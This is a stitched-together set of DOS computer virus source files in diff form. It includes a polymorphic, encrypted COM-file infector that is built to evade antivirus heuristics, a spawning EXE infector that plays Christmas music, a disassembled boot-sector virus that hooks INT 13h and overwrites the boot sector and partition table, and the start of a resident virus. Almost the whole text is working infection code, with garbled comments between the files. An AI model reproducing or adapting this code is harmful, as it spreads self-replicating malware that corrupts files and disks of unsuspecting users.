05C1 65 05 ;
|
||||
|
||||
;---------------------------------------
|
||||
; write character (or space) cx times
|
||||
|
||||
05C3 B020 mov al,20
|
||||
|
||||
05C5 50 push ax
|
||||
05C6 E89E00 call 0667 ; write character
|
||||
05C9 58 pop ax
|
||||
05CA E2F9 loop 05C5
|
||||
05CC C3 ret
|
||||
|
||||
;-------------
|
||||
; next line
|
||||
|
||||
05CD B00D mov al,0D
|
||||
05CF E89500 call 0667 ; write character
|
||||
05D2 B00A mov al,0A
|
||||
05D4 E99000 jmp 0667 ; write character
|
||||
|
||||
;------------------------------
|
||||
; drow christmast tree
|
||||
;
|
||||
; result will look like this:
|
||||
;
|
||||
;
|
||||
;
|
||||
; ***
|
||||
; *****
|
||||
; *******
|
||||
; *********
|
||||
; ***********
|
||||
; *************
|
||||
; ***************
|
||||
; *****************
|
||||
; *******************
|
||||
; *********************
|
||||
; ***********************
|
||||
; *************************
|
||||
; ***************************
|
||||
; *****************************
|
||||
; ÛÛÛ
|
||||
; ÛÛÛ
|
||||
; ÛÛÛ
|
||||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
; Und er lebt doch noch : Der Tannenbaum !
|
||||
; Frohe Weihnachten ...
|
||||
;
|
||||
|
||||
05D7 B92700 mov cx,0027
|
||||
05DA E8E6FF call 05C3 ; clear 39 characters
|
||||
05DD B0AD mov al,AD ; ''
|
||||
05DF E88500 call 0667 ; write character
|
||||
05E2 E8E8FF call 05CD ; new line
|
||||
05E5 BB0300 mov bx,0003
|
||||
05E8 BA2600 mov dx,0026
|
||||
|
||||
05EB 8BCA mov cx,dx
|
||||
05ED E8D3FF call 05C3 ; write CX spaces
|
||||
05F0 8BCB mov cx,bx
|
||||
05F2 B02A mov al,2A ; '*'
|
||||
05F4 E8CEFF call 05C5 ; write CX characters
|
||||
05F7 E8D3FF call 05CD ; new line
|
||||
05FA 4A dec dx
|
||||
05FB 83C302 add bx,0002
|
||||
05FE 83FB1F cmp bx,001F
|
||||
0601 75E8 jne 05EB
|
||||
|
||||
0603 BB0300 mov bx,0003
|
||||
0606 B92600 mov cx,0026
|
||||
0609 E8B7FF call 05C3 ; write CX spaces
|
||||
060C B90300 mov cx,0003
|
||||
060F B0DB mov al,DB ; 'Û'
|
||||
0611 E8B1FF call 05C5 ; write CX characters
|
||||
0614 E8B6FF call 05CD ; next line
|
||||
0617 4B dec bx
|
||||
0618 75EC jne 0606
|
||||
|
||||
061A B95000 mov cx,0050 ; full line
|
||||
061D B0CD mov al,CD ; 'Í'
|
||||
061F E8A3FF call 05C5 ; write character CX times
|
||||
0622 B91300 mov cx,0013
|
||||
0625 E89BFF call 05C3 ; write CX spaces
|
||||
0628 BB7406 mov bx,0674 ; string: Und er lebt doch ...
|
||||
062B E82C00 call 065A ; write string
|
||||
062E B91D00 mov cx,001D
|
||||
0631 E88FFF call 05C3 ; clear part of line
|
||||
0634 EB24 jmp 065A ; write asciiz string pointed by BX
|
||||
0636 90 nop
|
||||
|
||||
0637 E80000 call 063A
|
||||
|
||||
063A 5B pop bx
|
||||
063B 83C30D add bx,000D
|
||||
063E 8CC8 mov ax,cs
|
||||
0640 8ED8 mov ds,ax
|
||||
0642 E81500 call 065A ; write string
|
||||
0645 EBFE jmp 0645 ; hang CPU
|
||||
|
||||
0647 41 70 72 69 6C 2C 20 41 April, A
|
||||
064F 70 72 69 6C 20 2E 2E 2E pril ...
|
||||
0657 20 07 00
|
||||
|
||||
;-----------------------------------
|
||||
; write asciiz string pointed by BX
|
||||
|
||||
065A 8A07 mov al,[bx] ; get character
|
||||
065C 43 inc bx ; next character
|
||||
065D 0AC0 or al,al ; and of string?
|
||||
065F 7405 je 0666 ; yes, RET
|
||||
|
||||
0661 E80300 call 0667 ; write character
|
||||
0664 EBF4 jmp 065A ; get next character
|
||||
0666 C3 ret
|
||||
|
||||
;--------------------
|
||||
; write character TTL
|
||||
|
||||
0667 52 push dx
|
||||
0668 51 push cx
|
||||
0669 53 push bx
|
||||
066A 32FF xor bh,bh
|
||||
066C B40E mov ah,0E
|
||||
066E CD10 int 10
|
||||
0670 5B pop bx
|
||||
0671 59 pop cx
|
||||
0671 59 pop cx
|
||||
0672 5A pop dx
|
||||
0673 C3 ret
|
||||
|
||||
0674 55 6E 64 20 65 72 20 6C Und er l
|
||||
067C 65 62 74 20 64 6F 63 68 ebt doch
|
||||
0684 20 6E 6F 63 68 20 3A 20 noch :
|
||||
068C 44 65 72 20 54 61 6E 6E Der Tann
|
||||
0694 65 6E 62 61 75 6D 20 21 enbaum !
|
||||
069C 0D 0A 00 46 72 6F 68 65 Frohe
|
||||
06A4 20 57 65 69 68 6E 61 63 Weihnac
|
||||
06AC 68 74 65 6E 20 2E 2E 2E hten ...
|
||||
06B4 0D 0A 07 00
|
||||
|
||||
;------------------------------------------
|
||||
; write one sector to disk specified in DL
|
||||
; track 9, side 0 sector 1
|
||||
|
||||
06B8 32F6 xor dh,dh
|
||||
06BA B90100 mov cx,0001
|
||||
06BD BB3706 mov bx,0637
|
||||
06C0 B80103 mov ax,0301
|
||||
06C3 CD13 int 13
|
||||
06C5 C3 ret
|
||||
|
||||
;==================
|
||||
; INT 24h handler
|
||||
|
||||
06C6 B000 mov al,00
|
||||
06C8 CF iret
|
||||
|
||||
; table of bytes for changing encrypt routine
|
||||
|
||||
06C9 5E 00 0F 43
|
||||
06CD 5E 30 0F 43
|
||||
06D1 5E D2 07 43
|
||||
06D5 76 00 0C 46
|
||||
06D9 76 30 0C 46
|
||||
06DD 76 D2 04 46
|
||||
06E1 7E 00 0D 47
|
||||
06E5 7E 30 0D 47
|
||||
06E9 7E D2 05 47
|
||||
|
||||
; table for variants of decrypt routine
|
||||
|
||||
06ED 28 30 D2
|
||||
|
||||
; part of victime code
|
||||
|
||||
06F0 F3A4 rep movsb
|
||||
06F2 8BF1 mov si,cx
|
||||
06F4 8BF9 mov di,cx
|
||||
06F6 C3 ret
|
||||
|
||||
06F7 0307 ; offset of buffer/modified code
|
||||
06F9 DB63 ; file size + 256
|
||||
06FB C603 ;
|
||||
06FD 0306 ;
|
||||
06FF 0060 ; file date
|
||||
0701 710E ; file time
|
||||
|
||||
@@ -0,0 +1,151 @@
|
||||
; The Xhiltar Virus
|
||||
; By Arsonic[Codebreakers]
|
||||
; Type: Runtime Appending Com Infector
|
||||
; Encrypted: Yes
|
||||
; Polymorphic: Yes
|
||||
; Time/Date: Yes
|
||||
; add Attrib: Yes
|
||||
; Changes Directory's: Yes (dotdot method)
|
||||
; Anti-Anti-Virus: Yes (anti-heuristics)
|
||||
db 0e9h,0,0
|
||||
start:
|
||||
call delta
|
||||
delta:
|
||||
pop bp
|
||||
sub bp,offset delta
|
||||
mov cx,0ffffh ;fuck up those heristics!
|
||||
fprot_loopy:
|
||||
jmp back
|
||||
mov ax,4c00h
|
||||
int 21h
|
||||
back:
|
||||
loop fprot_loopy
|
||||
lea si,[bp+hidden_start]
|
||||
mov di,si
|
||||
mov cx,end - hidden_start
|
||||
call encryption
|
||||
jmp hidden_start
|
||||
value db 0
|
||||
encryption: ;encryption routine
|
||||
call poly
|
||||
encrypt:
|
||||
lodsb ;1
|
||||
_1stDummy:
|
||||
nop ;1 = +1
|
||||
xor al,byte ptr[bp+value] ;4
|
||||
_2ndDummy:
|
||||
nop ;1 = +6
|
||||
stosb ;1
|
||||
_3rdDummy:
|
||||
nop ;1 = +8
|
||||
loop encrypt ;2
|
||||
_4thDummy:
|
||||
nop ;1 = +11
|
||||
ret
|
||||
hidden_start:
|
||||
mov cx,3
|
||||
mov di,100h ;restore the first 3 bytes
|
||||
lea si,[bp+buff]
|
||||
rep movsb
|
||||
find_first: ;find first file
|
||||
mov ah,4eh
|
||||
find_next:
|
||||
lea dx,[bp+filemask]
|
||||
xor cx,cx ;with 0 attrib's..
|
||||
int 21h
|
||||
jnc infect
|
||||
close:
|
||||
push 100h
|
||||
ret
|
||||
infect:
|
||||
mov ax,3d02h ;open file
|
||||
mov dx,9eh
|
||||
int 21h
|
||||
xchg bx,ax
|
||||
mov ax,5700h ;get time/date
|
||||
int 21h
|
||||
push dx ;save the values
|
||||
push cx
|
||||
in al,40h ;get new encrypt value from system clock
|
||||
mov byte ptr [bp+value],al
|
||||
mov ah,3fh ;read 3 bytes from the file.. too
|
||||
mov cx,3 ;be replaced with a jump to the virus
|
||||
lea dx,[bp+buff]
|
||||
int 21h
|
||||
mov ax,word ptr [80h + 1ah] ;check for infect
|
||||
sub ax,end - start + 3
|
||||
cmp ax,word ptr[bp+buff+1]
|
||||
je close_file
|
||||
mov ax,word ptr[80h + 1ah]
|
||||
sub ax,3
|
||||
mov word ptr[bp+three+1],ax
|
||||
mov ax,4200h ;goto start of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
mov ah,40h ;write the 3 byte jump
|
||||
lea dx,[bp+three]
|
||||
mov cx,3
|
||||
int 21h
|
||||
mov ax,4202h ;goto end of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
mov ah,40h ;write the unencrypted area
|
||||
lea dx,[bp+start]
|
||||
mov cx,hidden_start - start
|
||||
int 21h
|
||||
lea si,[bp+hidden_start] ;encrypt the virus
|
||||
lea di,[bp+end]
|
||||
mov cx,end - hidden_start
|
||||
call encryption
|
||||
mov ah,40h ;write encrypted area
|
||||
lea dx,[bp+end]
|
||||
mov cx,end - hidden_start
|
||||
int 21h
|
||||
close_file:
|
||||
mov ax,5701h ;restore time/date
|
||||
pop cx ;with saved values
|
||||
pop dx
|
||||
int 21h
|
||||
mov ah,3eh ;close file
|
||||
int 21h
|
||||
mov ah,4Fh ;find next file
|
||||
jmp find_next
|
||||
poly:
|
||||
call random ;get random value
|
||||
mov [bp+_1stDummy],dl ;write random do-nothing call to encrypt
|
||||
call random
|
||||
mov [bp+_2ndDummy],dl
|
||||
call random
|
||||
mov [bp+_3rdDummy],dl
|
||||
call random
|
||||
mov [bp+_4thDummy],dl
|
||||
ret
|
||||
garbage:
|
||||
nop ; no operation instruction
|
||||
clc ; Clear Carry
|
||||
stc ; Set Carry
|
||||
sti ; Set Interuppt Flag
|
||||
cld ; Clear Direction Flag
|
||||
cbw ; Convert byte to word
|
||||
inc dx ; increase dx
|
||||
dec dx ; decrease dx
|
||||
lahf ; loads AH with flags
|
||||
random:
|
||||
in ax,40h
|
||||
and ax,7
|
||||
xchg bx,ax
|
||||
add bx,offset garbage
|
||||
add bx,bp
|
||||
mov dl,[bx]
|
||||
ret
|
||||
filemask db '*.com',0
|
||||
three db 0e9h,0,0
|
||||
buff db 0cdh,20h,0
|
||||
dotdot db '..',0
|
||||
author db 'Arsonic[Codebreakers]',13,10,'$'
|
||||
virus db 'the XHiLTAR virus',13,10,'$'
|
||||
db 'I LOVE U LISA',13,10,'$'
|
||||
db 'I LOVE U SOOOO MUCH!',13,10,'$'
|
||||
end:
|
||||
@@ -0,0 +1,179 @@
|
||||
{
|
||||
|
||||
XMAS Virus, a non-resident spawning .EXE infector by Glenn Benton
|
||||
To be compiled with Turbo Assembler 6.0
|
||||
|
||||
Files required : XMAS.PAS - Viral part (this one)
|
||||
XMAS.OBJ - Music data (composed by myself!)
|
||||
PLAYIT.TPU - Music player engine
|
||||
|
||||
Set the environment variables for different effects :
|
||||
|
||||
SET XMAS=YES (Disable virus)
|
||||
SET XMAS=TST (Plays the music only)
|
||||
SET XMAS=DEL (Deletes the virus when a program is started)
|
||||
|
||||
The compiled virus example is compressed and uses 6888 bytes...
|
||||
|
||||
On 25th and 26th the virus activates, playing the music and
|
||||
wishes you a merry X-mas (nice of me, isn't it?)
|
||||
|
||||
|
||||
}
|
||||
|
||||
Program Xmas;
|
||||
|
||||
{$M 4096,0,512}
|
||||
|
||||
Uses Crt, Dos, Playit;
|
||||
|
||||
Label StartOrig;
|
||||
|
||||
Var
|
||||
Year, Month, Day, DayOfWeek : Word;
|
||||
DirInfo : SearchRec;
|
||||
ComSeek : SearchRec;
|
||||
FileFound : Boolean;
|
||||
FileName : String;
|
||||
Parameters : String;
|
||||
OrigName : String;
|
||||
P : Byte;
|
||||
ExtHere : Boolean;
|
||||
Teller : Word;
|
||||
StopChar : Char;
|
||||
FromF : File;
|
||||
|
||||
{Dit is de data van het te spelen liedje}
|
||||
{$L XMAS.OBJ}
|
||||
Procedure Christmas; EXTERNAL;
|
||||
|
||||
{Deze routine wordt aangeroepen als het 25 of 26 december is}
|
||||
Procedure Active;
|
||||
Begin;
|
||||
StopChar := #0;
|
||||
ClrScr;
|
||||
GotoXY(32,5);
|
||||
WriteLn('Merry Christmas');
|
||||
GotoXY(38,7);
|
||||
WriteLn('and');
|
||||
GotoXY(31,9);
|
||||
WriteLn('A Happy New Year!');
|
||||
GotoXy(31,11);
|
||||
WriteLn('Wished To You By:');
|
||||
GotoXy(34,17);
|
||||
WriteLn('Glenn Benton');
|
||||
GotoXy(27,24);
|
||||
WriteLn('Press any key to continue');
|
||||
Repeat
|
||||
PlayOBJ(@Christmas, TRUE, StopChar);
|
||||
Until StopChar<>#0;
|
||||
End;
|
||||
|
||||
{Deze procedure zoekt een EXE file waarvan er geen COM is en stuurt het
|
||||
resultaat in de boolean FileFound en de naam van het te maken COM bestand
|
||||
in FileName}
|
||||
Procedure FileSeek;
|
||||
|
||||
Label Seeker, FileSeekOk;
|
||||
Begin;
|
||||
FileFound:=False;
|
||||
FindFirst('*.EXE',Anyfile,DirInfo);
|
||||
|
||||
Seeker:
|
||||
If DosError=18 Then Exit;
|
||||
FileName:= DirInfo.Name;
|
||||
Delete(FileName,Length(FileName)-2,3);
|
||||
Insert('COM',FileName,Length(FileName)+1);
|
||||
FindFirst(FileName,AnyFile,ComSeek);
|
||||
If DosError=18 Then Goto FileSeekOk;
|
||||
FindNext(DirInfo);
|
||||
Goto Seeker;
|
||||
|
||||
FileSeekOk:
|
||||
FileFound:=True;
|
||||
End;
|
||||
|
||||
Procedure CopyFile;
|
||||
var
|
||||
FromF, ToF: file;
|
||||
NumRead, NumWritten: Word;
|
||||
buf: array[1..512] of Char;
|
||||
begin;
|
||||
{ Open input file }
|
||||
Assign(FromF, ParamStr(0));
|
||||
{ Record size = 1 }
|
||||
Reset(FromF, 1);
|
||||
{ Open output file }
|
||||
Assign(ToF, FileName);
|
||||
{ Record size = 1 }
|
||||
Rewrite(ToF, 1);
|
||||
repeat
|
||||
BlockRead(FromF,buf,
|
||||
SizeOf(buf),NumRead);
|
||||
BlockWrite(ToF,buf,NumRead,NumWritten);
|
||||
until (NumRead = 0) or
|
||||
(NumWritten <> NumRead);
|
||||
Close(FromF);
|
||||
Close(ToF);
|
||||
Assign(ToF,FileName);
|
||||
SetFAttr(ToF,Hidden);
|
||||
end;
|
||||
|
||||
|
||||
Begin; {Hoofdprocedure}
|
||||
If (GetEnv('XMAS')='DEL') or (GetEnv('XMAS')='del') Then
|
||||
Begin;
|
||||
OrigName:=ParamStr(0);
|
||||
ExtHere:=False;
|
||||
P:=Pos('.COM',OrigName);
|
||||
If P<>0 Then ExtHere:=True;
|
||||
P:=Pos('.com',OrigName);
|
||||
If P<>0 Then ExtHere:=True;
|
||||
If ExtHere=False Then
|
||||
OrigName:=OrigName+'.COM';
|
||||
Assign(FromF, OrigName);
|
||||
SetFAttr(FromF,Archive);
|
||||
Erase(FromF);
|
||||
Goto StartOrig;
|
||||
End;
|
||||
If (GetEnv('XMAS')='TST') or (GetEnv('XMAS')='tst') Then
|
||||
Begin;
|
||||
Active;
|
||||
Goto StartOrig;
|
||||
End;
|
||||
|
||||
If (GetEnv('XMAS')='YES') or (GetEnv('XMAS')='yes') Then Goto StartOrig;
|
||||
|
||||
{Datum bekijken of het 25 of 26 december is en indien juist Active aanroepen}
|
||||
GetDate(Year, Month, Day, DayOfWeek);
|
||||
If (Month=12) and ((Day=25) or (Day=26)) then Active;
|
||||
|
||||
{Procedure voor EXE file zoeken aanroepen}
|
||||
FileSeek;
|
||||
|
||||
{Als er een kandidaat is gevonden, dit prg als COM erbij zetten}
|
||||
If FileFound=False Then Goto StartOrig;
|
||||
CopyFile;
|
||||
|
||||
StartOrig:
|
||||
Parameters:='';
|
||||
For Teller:= 1 to ParamCount Do Parameters:=Parameters+' '+ParamStr(Teller);
|
||||
OrigName:=ParamStr(0);
|
||||
ExtHere:=False;
|
||||
P:=Pos('.COM',OrigName);
|
||||
If P<>0 Then ExtHere:=True;
|
||||
P:=Pos('.com',OrigName);
|
||||
If P<>0 Then ExtHere:=True;
|
||||
If ExtHere=False Then
|
||||
OrigName:=OrigName+'.EXE';
|
||||
If ExtHere=True Then
|
||||
Begin;
|
||||
Delete(OrigName,Length(OrigName)-3,4);
|
||||
OrigName:=OrigName+'.EXE';
|
||||
End;
|
||||
SwapVectors;
|
||||
Exec(OrigName,Parameters);
|
||||
SwapVectors;
|
||||
Halt(DosExitCode);
|
||||
End.
|
||||
|
||||
@@ -0,0 +1,241 @@
|
||||
jmp far ptr loc_2 ;*(07C0:0005)
|
||||
jmp loc_8 ; (00A1)
|
||||
data_27 db 0
|
||||
data_28 dd 0F000EC59h
|
||||
data_29 dd 9F8000E4h
|
||||
data_30 dd 07C00h
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
; ‚µ®¤ ²®·ª INT 13h
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
push ds
|
||||
push ax
|
||||
cmp ah,2 ; €ª® ´³ª¶¨¿² ¥ ¯®-¬ «ª ®²
|
||||
jb loc_3 ; 2 ¨«¨ ¯®-£®«¿¬ ¨«¨ ° ¢
|
||||
cmp ah,4 ; 4 ¨§¯º«¿¢ ¯°° ¢® INT 13h
|
||||
jae loc_3
|
||||
or dl,dl ; “±²°®¨±²¢®²® ¥ A ?
|
||||
jnz loc_3
|
||||
xor ax,ax ; Zero register
|
||||
mov ds,ax
|
||||
mov al,byte ptr ds:[43Fh] ; �°®¢¥°¿¢ ¤ «¨ ¬®²®°
|
||||
test al,1 ; A ¥ ¢ª«¾·¥
|
||||
jnz loc_3 ; Jump if not zero
|
||||
call sub_1 ; ޝ¨² ¤ § ° §¿¢
|
||||
loc_3:
|
||||
pop ax
|
||||
pop ds
|
||||
jmp cs:data_28 ; (6B8E:0009=0EC59h)
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near
|
||||
push bx
|
||||
push cx
|
||||
push dx ; ‡ ¯ §¢ °¥£¨±²°¨²¥
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
mov si,4
|
||||
loc_4:
|
||||
mov ax,201h
|
||||
push cs
|
||||
pop es
|
||||
mov bx,200h
|
||||
xor cx,cx ; Zero register
|
||||
mov dx,cx
|
||||
inc cx
|
||||
pushf
|
||||
call cs:data_28 ; —¥²¥ BOOT ±¥ª²®°
|
||||
jnc loc_5 ; Jump if carry=0
|
||||
xor ax,ax ; �°¨ £°¥¸ª °¥ª «¨¡°¨°
|
||||
pushf ; ³±²°®¨±²¢®²®
|
||||
call cs:data_28 ; (6B8E:0009=0EC59h)
|
||||
dec si
|
||||
jnz loc_4 ; �° ¢¨ 4 ®¯¨²
|
||||
jmp short loc_7 ; ˆ§µ®¤
|
||||
nop
|
||||
loc_5:
|
||||
xor si,si ; Zero register
|
||||
mov di,200h
|
||||
cld ; Clear direction
|
||||
push cs
|
||||
pop ds
|
||||
lodsw ; �°®¢¥°¿¢ ¤ «¨ ¥ § ° §¥
|
||||
cmp ax,[di] ; ¯°®·¥²¥¨¿ ¤¨±ª
|
||||
jne loc_6
|
||||
lodsw
|
||||
cmp ax,[di+2]
|
||||
je loc_7 ; €ª® ¥ ¨§«¨§
|
||||
loc_6:
|
||||
mov ax,301h
|
||||
mov bx,200h ; �°¥¬¥±²¢ BOOT
|
||||
mov cl,3
|
||||
mov dh,1
|
||||
pushf
|
||||
call cs:data_28
|
||||
jc loc_7 ; Jump if carry Set
|
||||
mov ax,301h
|
||||
xor bx,bx ; ‡ ¯¨±¢ ¢¨°³±
|
||||
mov cl,1
|
||||
xor dx,dx
|
||||
pushf
|
||||
call cs:data_28
|
||||
loc_7:
|
||||
pop di
|
||||
pop si
|
||||
pop es ; ‚º§±² ®¢¿¢ °¥£¨±²°¨²¥
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
retn
|
||||
sub_1 endp
|
||||
|
||||
loc_8:
|
||||
xor ax,ax ; Zero register
|
||||
mov ds,ax
|
||||
cli ; Disable interrupts
|
||||
mov ss,ax
|
||||
mov sp,7C00h
|
||||
sti ;
|
||||
mov ax,word ptr ds:[4Ch] ; �®±² ¢¿ ¢ AX ¢¥ª²®° INT 13H
|
||||
mov word ptr ds:[7C09h],ax ; ‡ ¯ §¢ £® ®²¬¥±²¢ ¥ 9h
|
||||
mov ax,word ptr ds:[4Eh] ; ‚§¥¬ ±¥£¬¥² INT 13H
|
||||
mov word ptr ds:[7C0Bh],ax ; ‡ ¯ §¢ £® ®²¬¥±²¢ ¥ Bh
|
||||
mov ax,word ptr ds:[413h] ; � ¬ «¿¢ «¨· ² ¯ ¬¥² ± 1K
|
||||
dec ax
|
||||
dec ax
|
||||
mov word ptr ds:[413h],ax
|
||||
mov cl,6
|
||||
shl ax,cl
|
||||
mov es,ax ; ‡ °¥¦¤ ¢ ES ©-¢¨±®ª¨¿ ¤°¥±
|
||||
mov word ptr ds:[7C0Fh],ax ; ª®©²® ±¥ ¯°¥¬¥±²¢
|
||||
mov ax,15h
|
||||
mov word ptr ds:[4Ch],ax ; INT 13H ‘Ž—ˆ Ž’Œ…‘’‚€�… 15H Ž’
|
||||
mov word ptr ds:[4Eh],es ; �Ž—€‹Ž’Ž Œ“
|
||||
mov cx,1B8h
|
||||
push cs ;CS = 7C0h = DS
|
||||
pop ds
|
||||
xor si,si
|
||||
mov di,si
|
||||
cld
|
||||
rep movsb ; �°¥±²¢ 1B8h ¡ ©²
|
||||
jmp cs:data_29 ; �°¥µ®¤ ±«¥¤¢ ¹ ² ¨±²°³ª¶¨¿
|
||||
mov ax,0
|
||||
int 13h ; �¥ª «¨¡°¨° ¤¨±ª
|
||||
|
||||
xor ax,ax ; Zero register
|
||||
mov es,ax ; ES = AX = 00h
|
||||
mov ax,201h ; “±² ®¢¿¢ ¯ ° ¬¥²°¨ §
|
||||
mov bx,7C00h ; § °¥¦¤ ¥ BOOT
|
||||
cmp cs:data_27,0 ; �°®¢¥°¿¢ ´« £ § ³±²°®¨±²¢®
|
||||
je loc_9 ; �°¥µ®¤ ¯°¨ Flopy disk
|
||||
mov cx,7
|
||||
mov dx,80h
|
||||
int 13h ; ‡ °¥¦¤ BOOT
|
||||
|
||||
jmp short loc_12 ; (014E)
|
||||
nop
|
||||
loc_9:
|
||||
mov cx,3
|
||||
mov dx,100h
|
||||
int 13h ; ‡ °¥¦¤ BOOT
|
||||
|
||||
jc loc_12 ; Jump if carry Set
|
||||
test byte ptr es:[46Ch],7 ; �°®¢¥°¿¢ ¤ «¨ ¤ ¤ ¤¥
|
||||
jnz loc_11 ; ±º®¡¹¥¨¥
|
||||
mov si,189h ;
|
||||
push cs
|
||||
pop ds
|
||||
loc_10:
|
||||
lodsb ; ’º°±¨ ª° ¿² ±²°¨£
|
||||
or al,al
|
||||
jz loc_11 ; €ª® ¥ ¥ ª° ¿ ¨§¢¥¦¤ ±¨¬¢®«
|
||||
mov ah,0Eh
|
||||
mov bh,0
|
||||
int 10h ; Video display ah=functn 0Eh
|
||||
; write char al, teletype mode
|
||||
jmp short loc_10 ; (011D)
|
||||
loc_11:
|
||||
push cs
|
||||
pop es
|
||||
mov ax,201h ; ޝ¨²¢ ±¥ ¤ ·¥²¥ ®² ²¢º°¤ ¤¨±ª
|
||||
mov bx,200h ; ª ²® ¯®¬¥±²¢ ¯°®·¥²¥®²® ®²
|
||||
mov cl,1 ; ®²¬¥±²¢ ¥ 200h
|
||||
mov dx,80h
|
||||
int 13h ; Disk dl=drive #: ah=func a2h
|
||||
; read sectors to memory es:bx
|
||||
jc loc_12 ; €ª® £°¥¸ª ? -> ˆ§µ®¤
|
||||
push cs
|
||||
pop ds
|
||||
mov si,200h
|
||||
mov di,0
|
||||
lodsw ; �°®¢¥°¿¢ ¤ «¨ ±º¢¯ ¤ ± · «®²®
|
||||
cmp ax,[di] ; ¢¨°³±
|
||||
jne loc_13 ; €ª® ¥ ¯°¥µ®¤ § § ° §¿¢ ¥
|
||||
lodsw
|
||||
cmp ax,[di+2]
|
||||
jne loc_13
|
||||
loc_12:
|
||||
mov cs:data_27,0 ; (6B8E:0008=0)
|
||||
jmp cs:data_30 ; ˆ§¯º«¿¢ BOOT
|
||||
loc_13:
|
||||
mov cs:data_27,2 ; �®±² ¢¿ ³ª § ²¥« ²¢º°¤ ¤¨±ª
|
||||
mov ax,301h
|
||||
mov bx,200h ; �°¥¬¥±²¢ BOOT ¢ ±¥ª²®° 7
|
||||
mov cx,7 ; ±²° 0
|
||||
mov dx,80h
|
||||
int 13h
|
||||
|
||||
jc loc_12 ; �°¨ £°¥¸ª ¨§¯º«¿¢ BOOT
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov si,3BEh ; Œ¥±²¨ partition table
|
||||
mov di,1BEh
|
||||
mov cx,242h
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
|
||||
mov ax,301h
|
||||
xor bx,bx ; ‡ ¯¨±¢ ± ¬¨¿² ¢¨°³±
|
||||
inc cl
|
||||
int 13h ; Disk dl=drive #: ah=func a3h
|
||||
; write sectors from mem es:bx
|
||||
jmp short loc_12 ; ޲¨¢ ¤ ¨§¯¨«¿¢ BOOT
|
||||
|
||||
;------------------------------------------------------------------------------------------
|
||||
; ޲ ²³ª ² ²ª ± ²¥ª±²®¢¥
|
||||
;------------------------------------------------------------------------------------------
|
||||
|
||||
pop es
|
||||
pop cx
|
||||
db 6Fh
|
||||
jnz $+74h ; Jump if not zero
|
||||
and [bx+si+43h],dl
|
||||
and [bx+di+73h],ch
|
||||
and [bp+6Fh],ch
|
||||
ja $+22h ; Jump if above
|
||||
push bx
|
||||
jz $+71h ; Jump if zero
|
||||
db 6Eh
|
||||
db 65h
|
||||
db 64h
|
||||
and [bx],ax
|
||||
or ax,0A0Ah
|
||||
add [si+45h],cl
|
||||
inc di
|
||||
inc cx
|
||||
dec sp
|
||||
dec cx
|
||||
push bx
|
||||
inc bp
|
||||
xor al,[bx+di]
|
||||
add al,32h ; '2'
|
||||
add word ptr ds:[0B00h][bx+si],ax ; (6B7E:0B00=0)
|
||||
add ax,132h
|
||||
db 72 dup (0)
|
||||
|
||||
@@ -0,0 +1,928 @@
|
||||
TITLE R.A.T. [R]iots [A]gainst [T]echnology !!
|
||||
|
||||
;(c) 1992 by the Priest und DR. ET.
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º Variablen-Vereinbarungen: º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
ANZBYTES EQU VIR_END-VIRUS ;Ä¿
|
||||
; ÚÄÙ ÀÄ¿ ³
|
||||
; Ende des Virus Start des Virus ³
|
||||
;
|
||||
; L„nge von [R].[A].[T]., Anzahl Bytes zwischen VIR_END und VIRUS
|
||||
;
|
||||
FAKTOR EQU 100H+8 ;ÄÄ> Anpassungsfaktor, relativ zur Adresse Null
|
||||
; ÀÄ Programm-Offset
|
||||
; ÚÄ> Maximale gr”sse der zu...
|
||||
MAXGR EQU 0FFFFH-(ANZBYTES+100H+20H) ;ÄÙ ...infizierenden Dateien
|
||||
; Offset 100H ÄÄÙ ³
|
||||
; Stack ÄÄÙ
|
||||
;
|
||||
BUFSIZE EQU IMMUN-VIR_END ;ÄÄ> Gr”áe des Ausgelagerten RAM
|
||||
;
|
||||
MEM_ALLOC EQU (ANZBYTES+BUFSIZE)/10H+1 ;ÄÄ> In Paragraphen zu 16 Bytes
|
||||
;
|
||||
; ÀÄ L„nge des residenten Virus
|
||||
;
|
||||
MCB_PSP EQU 1 ;ÄÄ> Zeiger auf den zum Prog geh”renden PSP
|
||||
MCB_SIZE EQU 3 ;ÄÄ> L„nge des zum MCB geh”renden Speichers
|
||||
;
|
||||
; ÀÄ Alles Zeiger auf die verschiedenen MCB-Eintr„ge...
|
||||
;
|
||||
PSP_MEM EQU 2 ;ÄÄ> Beinhaltet (im PSP) die Endadresse des durch
|
||||
; das Programm belegten Speichers!
|
||||
;
|
||||
